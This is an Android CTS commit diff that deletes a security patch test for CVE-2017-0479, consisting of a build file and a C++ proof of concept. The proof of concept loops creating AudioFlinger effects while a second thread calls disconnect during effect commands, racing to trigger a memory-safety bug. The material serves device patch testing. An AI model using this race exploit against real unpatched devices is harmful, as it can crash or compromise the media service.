CTS test for Android Security b/32707507 b/72462011

Test: Cleanup incorrect CTS test case.
Bug:32707507
Bug:72462011
Change-Id: Ibac44b543c85ec105aede43e53b2f59ad0b69704
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0479/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0479/Android.mk
deleted file mode 100644
index 264200d..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0479/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0479
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SHARED_LIBRARIES := libmedia libutils libbinder libandroid libaudioclient
-LOCAL_C_INCLUDES:= \
-        $(TOP)/frameworks/av/include/media/ \
-        $(TOP)/frameworks/av/services/ \
-        $(TOP)/system/media/audio_utils/include/ \
-        $(TOP)/external/sonic/
-
-# Tag this module as a sts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_STS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS = -Wall -Werror
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0479/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0479/poc.cpp
deleted file mode 100644
index d3e5892..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0479/poc.cpp
+++ /dev/null
@@ -1,93 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <audioflinger/AudioFlinger.h>
-#include <hardware/audio_effect.h>
-#include <media/IAudioFlinger.h>
-#include <media/IEffect.h>
-#include <media/IEffectClient.h>
-
-using namespace android;
-
-struct EffectClient : public android::BnEffectClient {
-  EffectClient() {}
-  virtual void controlStatusChanged(bool controlGranted __unused) {}
-  virtual void enableStatusChanged(bool enabled __unused) {}
-  virtual void commandExecuted(uint32_t cmdCode __unused,
-                               uint32_t cmdSize __unused,
-                               void *pCmdData __unused,
-                               uint32_t replySize __unused,
-                               void *pReplyData __unused) {}
-};
-
-sp<IEffect> gEffect;
-
-void *disconnectThread(void *) {
-  usleep(5);
-  if (gEffect != NULL && gEffect.get() != NULL) {
-    gEffect->disconnect();
-  }
-  return NULL;
-}
-
-int main() {
-  static const effect_uuid_t EFFECT_UIID_EQUALIZER = {
-      0x0bed4300, 0xddd6, 0x11db, 0x8f34, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}};
-
-  effect_descriptor_t descriptor;
-  memset(&descriptor, 0, sizeof(descriptor));
-  descriptor.type = EFFECT_UIID_EQUALIZER;
-  descriptor.uuid = *EFFECT_UUID_NULL;
-  sp<EffectClient> effectClient(new EffectClient());
-
-  const int32_t priority = 0;
-  audio_session_t sessionId = (audio_session_t)(128);
-  const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
-  const String16 opPackageName("com.exp.poc");
-  int32_t id;
-  int enabled;
-  status_t err;
-
-  uint32_t cmdCode, cmdSize, pReplySize;
-  int *pCmdData, *pReplyData;
-
-  cmdCode = EFFECT_CMD_GET_CONFIG;
-  cmdSize = 0;
-  pReplySize = sizeof(effect_config_t);
-  pCmdData = (int *)malloc(cmdSize);
-  pReplyData = (int *)malloc(pReplySize);
-
-  gEffect = NULL;
-  pthread_t pt;
-  const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();
-
-  while (1) {
-    gEffect = audioFlinger->createEffect(&descriptor, effectClient, priority,
-                                         io, sessionId, opPackageName, getpid(),
-                                         &err, &id, &enabled);
-    if (gEffect == NULL || err != NO_ERROR) {
-      return -1;
-    }
-    pthread_create(&pt, NULL, disconnectThread, NULL);
-    err = gEffect->command(cmdCode, cmdSize, (void *)pCmdData, &pReplySize,
-                           (void *)pReplyData);
-    usleep(50);
-  }
-  sleep(2);
-  return 0;
-}